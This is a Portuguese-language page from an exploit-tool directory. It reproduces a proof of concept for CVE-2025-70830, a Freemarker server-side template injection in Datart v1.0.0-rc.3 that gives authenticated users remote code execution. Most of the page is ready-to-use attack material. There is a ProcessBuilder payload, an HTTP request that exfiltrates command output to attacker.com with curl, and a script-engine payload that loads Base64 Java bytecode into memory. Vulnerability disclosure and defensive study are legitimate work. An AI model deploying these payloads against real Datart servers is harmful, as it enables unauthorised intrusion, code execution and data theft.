Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) no mecanismo de template Freemarker do Datart v1.0.0-rc.3 permite que atacantes autenticados executem código arbitrário ao injetar sintaxe de template Freemarker manipulada no campo de script SQL.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
5há 6 mesesAinda não revisado

CVE-2025-70830: Datart Injeção de Template no Lado do Servidor (SSTI)

Visão geral da vulnerabilidade (Overview)

  • Número CVE: CVE-2025-70830
  • Produto afetado: Datart
  • Versão afetada: v1.0.0-rc.3
  • Tipo de vulnerabilidade: Injeção de Template no Lado do Servidor (SSTI) - Server-Side Template Injection
  • Nível de gravidade: Execução Remota de Código (RCE)

Descrição da vulnerabilidade (Description)

A versão v1.0.0-rc.3 do Datart possui uma vulnerabilidade de injeção de template no lado do servidor (SSTI) no mecanismo de template Freemarker. Um atacante autenticado pode executar código arbitrário no sistema ao injetar sintaxe maliciosa de template Freemarker no campo de script SQL.

Prova de Conceito (Proof of Concept)

1. Pré-requisitos

  • Acessar o sistema Datart.
  • Ter acesso e permissão para editar uma fonte de dados (Data Source) com capacidade de execução SQL.

2. Construção do Payload

No editor de script/consulta SQL (SQL script/query editor), insira o seguinte payload Freemarker para executar comandos do sistema (por exemplo, id ou calc):

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Ao clicar em executar o script, o servidor executará o comando em segundo plano.

3. Exemplo de requisição HTTP

O pacote de requisição para acionar a vulnerabilidade via API é o seguinte:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Exploração Avançada (Advanced Exploitation)

Carregar Bytecode Personalizado (Load Custom Bytecode)

Atacantes podem usar o javax.script.ScriptEngineManager do Java para chamar o mecanismo JS e carregar/executar bytecode Java codificado em Base64 arbitrário.

Exemplo de Payload:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Baixar ferramenta